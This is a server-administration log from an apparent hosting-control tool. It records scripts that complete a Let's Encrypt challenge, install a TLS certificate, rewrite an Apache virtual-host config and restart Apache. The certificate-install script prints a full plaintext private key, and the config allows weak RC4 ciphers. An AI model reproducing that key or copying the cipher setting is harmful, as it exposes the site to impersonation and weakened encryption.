MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-05 13:48:51: Establishing a connection
2026-01-05 13:48:51: Establishing a connection
2026-01-05 13:48:51: 

PUT: /tmp/pkp252165

#!/bin/bash
if [ -d "/var/www/drewmarshall_soulsurvivor/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-05 13:48:52: 

chmod 755 /tmp/pkp252165; /tmp/pkp252165; rm /tmp/pkp252165

2026-01-05 13:48:52: 


1


2026-01-05 13:48:53: Establishing a connection
2026-01-05 13:48:53: 

PUT: /tmp/pkp498134

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cat > GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8


2026-01-05 13:48:53: 

chmod 755 /tmp/pkp498134; /tmp/pkp498134; rm /tmp/pkp498134

2026-01-05 13:48:53: 




2026-01-05 13:49:04: Establishing a connection
2026-01-05 13:49:04: 

PUT: /tmp/pkp426163

#!/bin/bash
mkdir -p "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
cd "/var/www/drewmarshall_soulsurvivor/.well-known/acme-challenge/"
rm GnAGJr8DGVeCRZ_QjSPHn-adtu3lGTU-enlO2vEfRa8


2026-01-05 13:49:04: 

chmod 755 /tmp/pkp426163; /tmp/pkp426163; rm /tmp/pkp426163

2026-01-05 13:49:04: 




2026-01-05 13:49:04: Establishing a connection
2026-01-05 13:49:05: 

PUT: /tmp/pkp587683

#!/bin/bash
temp_file=$(mktemp)
TARGET=d7b28d3c1e1bd0c8221fd57011c5053a.crt

cat > $temp_file <<'endmsg'
d5:b2:3d:62:81:f6:b5:78:09:88:8a:9d:82:20:5c:30

-----BEGIN CERTIFICATE-----
MIIFHDCCBASgAwIBAgISBl4akI2wnGahjG/WEnz0ITEmMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTA1MTI1MDMyWhcNMjYwNDA1MTI1MDMxWjAnMSUwIwYDVQQD
Exxzb3Vsc3Vydml2b3IuZHJld21hcnNoYWxsLmNhMIIBIjANBgkqhkiG9w0BAQEF
AAOCAQ8AMIIBCgKCAQEAp//Cpl9c25ERfKZu80uGX5ozGk1m2PySeMGARiWBVGJN
QnAn1J0dAOPTRt842eQJ9FX/hCDguPpg3v5HOuFUuMkdJ80zI1nBZtaC7+6E1vv6
AuIIptPLgqAhUvnHDcH1t6CKBfl8PXcmEafWKldv8iNDhi6rhjz0AJEn6ARHOORD
lq5Tn/eeUFG5PBKhmGAzUy2kdfChhaG5h/lpZLmergoWYq3KaitxoIq0TB1kIZFy
JmpREPaYAmlBFVw2ks+yef+peBq1ZvpVp1YcBpcdfCYF+mDkhLDObVEw3i6ZW8g7
E5uxLEb1s/hzdJoaRsdvfsCsQhYRIygb/NTbCBG7nQIDAQABo4ICNDCCAjAwDgYD
VR0PAQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNV
HRMBAf8EAjAAMB0GA1UdDgQWBBSdAOlsY81z8ovlSVLVkMIvxKEMmTAfBgNVHSME
GDAWgBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYB
BQUHMAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCcGA1UdEQQgMB6CHHNvdWxz
dXJ2aXZvci5kcmV3bWFyc2hhbGwuY2EwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8zOS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdgDRbqmlaAd+ZjWgPzel3bwDpTxBEhTUiBj1
6TGzI8uVBAAAAZuOaxy8AAAEAwBHMEUCIQDB0tOpTsU5FPamKTAgEO5kEDEMcpek
FUua/dc1EJl4xQIgIY89M/M5E+SWAdk3MU3Lo0eook1JJevCi4QBf1X1crgAfgDj
I43yjaKI4KrgrPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZuOax6kAAgAAAUALlib
lAQDAEcwRQIhALI4DHDWcrBA6C07W3dyPO5lQhw7/xCXCkcG89hW3gOoAiBnB0uG
KXcmt5+Rrv0tYT8kDUmO73L9j5Oipi7zcSpTGjANBgkqhkiG9w0BAQsFAAOCAQEA
tkv+u4VDmy7E6e0iQzBP5GWiAKwaTGExA1xD/Pk+I1atz2RkyzoI62f3IkoFyDhr
/4kEmKnLIxghG4aDgJPADoU5MJ2fPVhJp3qPhmdDjiH2hvQAiHkQR0YWf08rAq6r
ij4h/mRH9Whi8nI+tYLaiEHfvh+APbqo8q32qHmbLDxk4lqr9/mHZAwTQL4BfLHg
Dy7K3ivccBRQIgoE5EicYlVjvNUOJoQ6sKSCo+8sNarapmp52Bi+j4YPCIIDg0z1
JLX1R3qHXiw8TkK67Y89fNTyaCwybOBIHywGSaL4O4HrzyRJ9wVOEBNaXmB3wr0K
BJxGGMrjJzbcTYrlp0h/wg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCn/8KmX1zbkRF8
pm7zS4ZfmjMaTWbY/JJ4wYBGJYFUYk1CcCfUnR0A49NG3zjZ5An0Vf+EIOC4+mDe
/kc64VS4yR0nzTMjWcFm1oLv7oTW+/oC4gim08uCoCFS+ccNwfW3oIoF+Xw9dyYR
p9YqV2/yI0OGLquGPPQAkSfoBEc45EOWrlOf955QUbk8EqGYYDNTLaR18KGFobmH
+WlkuZ6uChZircpqK3GgirRMHWQhkXImalEQ9pgCaUEVXDaSz7J5/6l4GrVm+lWn
VhwGlx18JgX6YOSEsM5tUTDeLplbyDsTm7EsRvWz+HN0mhpGx29+wKxCFhEjKBv8
1NsIEbudAgMBAAECggEAAcuxjG6zguNLkQ4EXJRflNEEn9DY+xPECwdidB19guXk
FoQ1YMfnIfXNcdH7/RQ7aQGsUAC79i4y798+6qmy6qC3r4+5brTMZOmBD8h4YgXi
d7prxkC4SaalhIoH7yU2F6bfIs42Xj/SR9kH6H7zwt5On/YKvk4Te5gRmaDGFB0U
BawSoGdah5oVG1TNOxto+GWwDsFYtTK8102pGCwr9jkRFMvoNLQU/HGSzE37/2Y/
F/4M8oITwdNjNa2vF/1+AcicOOONOFSW2kAxGpG4w/MAjnTAHj42Z8+W5ZATS2T3
SZwJmha8EIPwE4dRV3+FhPg3kdnR7auZWv2mgwEn7wKBgQDrnfBkNurvr+n59FYu
9ceZ//S1M+VVIwNKu67WQAe/l7MrxlYkP3z5ZJFKIdQENX21pdz4vNkRf1PqeS+u
mEbgQDytAkuj/iMbUBk//dbIvpEK32RJ4Obuf5H1kem573pwltZ9iegKQc2Bco2O
4ZEmw8z6sFEjJbY304Hmu3U83wKBgQC2iFSTUyEr/kkn1NWkL/mZNnoAdIL/cOQ4
VJrUQUketvIfd/vrYTYqkOufM1HaNXGpC7yxekvXUAy8uukwNMr4IcgZsl+/aIuD
H9r4oHpoOtWp/XSg2tnmf5CPerEZW8NmgiIh3RX0rHTqh0uh8CJcSQbdlOp4IodC
x+25CgmbAwKBgF0IRsP7Hza22gb04Ba4uzBmbSQjMpk0MveONdGpBKY06u0M6jRz
0Q/UEr4Xr1ReHp3buO2J+5e6E9NQOHCS9eFT2+FgN6ewEAKX1PB8dRNck36ciEfX
greHLYWuMIBXO5w7IsP88N8j7lX/ej+Bd0O8KjKN7euX12QhongNapQ3AoGAP7a+
rt4pig2sw3aLTFBis5RMabRBtaBWSUNe+BAB0fLR+SIMkVDRc3I6jMuBGsXk8rji
GKEzr+iFSauEkgsbfhlsm2uj+FApwo9wA7EgiRlgU4HhH/TEcqy8bRjKkKtzPWjX
OTLO4yT/eo3XXKNRmxzyhI3ieiSzSiA3XoueZrkCgYEA3O2OZ9H1afPjyYyVIMSa
W8Fcsf6bJq9Uf4FN+NpCm+DMvVJBYsYDElX4Y+uNuqLh8VPABoDgad/hNkUO3gNb
CcEgT8GlDfJORAF75UZ/hTjOmSpyiHyzURnxFPUcDKqHD4+3cW3nAie63HS1sIWa
8xoTB21nSOpOdeKAyHkRfeA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-05 13:49:05: 

chmod 755 /tmp/pkp587683; /tmp/pkp587683; rm /tmp/pkp587683

2026-01-05 13:49:05: 


dir=/etc/ssl/certs


2026-01-05 13:49:05: 

PUT: /tmp/pkp829147

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-05 13:49:05: 

chmod 755 /tmp/pkp829147; /tmp/pkp829147; rm /tmp/pkp829147

2026-01-05 13:49:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf 52

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-05 13:49:05: 

PUT: /tmp/pkp685895

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=drewmarshall_soulsurvivor_ca.conf
TARGET=/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	soulsurvivor.drewmarshall.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/d7b28d3c1e1bd0c8221fd57011c5053a.crt
    DocumentRoot	/var/www/drewmarshall_soulsurvivor
    <Directory /var/www/drewmarshall_soulsurvivor>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_access.log combined
    ErrorLog	/var/log/apache2/drewmarshall/soulsurvivor_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf= 1'
fi


2026-01-05 13:49:05: 

chmod 755 /tmp/pkp685895; /tmp/pkp685895; rm /tmp/pkp685895

2026-01-05 13:49:05: 




2026-01-05 13:49:05: 

PUT: /tmp/pkp590226

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-05 13:49:05: 

chmod 755 /tmp/pkp590226; /tmp/pkp590226; rm /tmp/pkp590226

2026-01-05 13:49:05: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-05 13:49:05: Establishing a connection
2026-01-05 13:49:05: 

PUT: /tmp/pkp945181

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-05 13:49:05: 

chmod 755 /tmp/pkp945181; /tmp/pkp945181; rm /tmp/pkp945181

2026-01-05 13:49:05: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
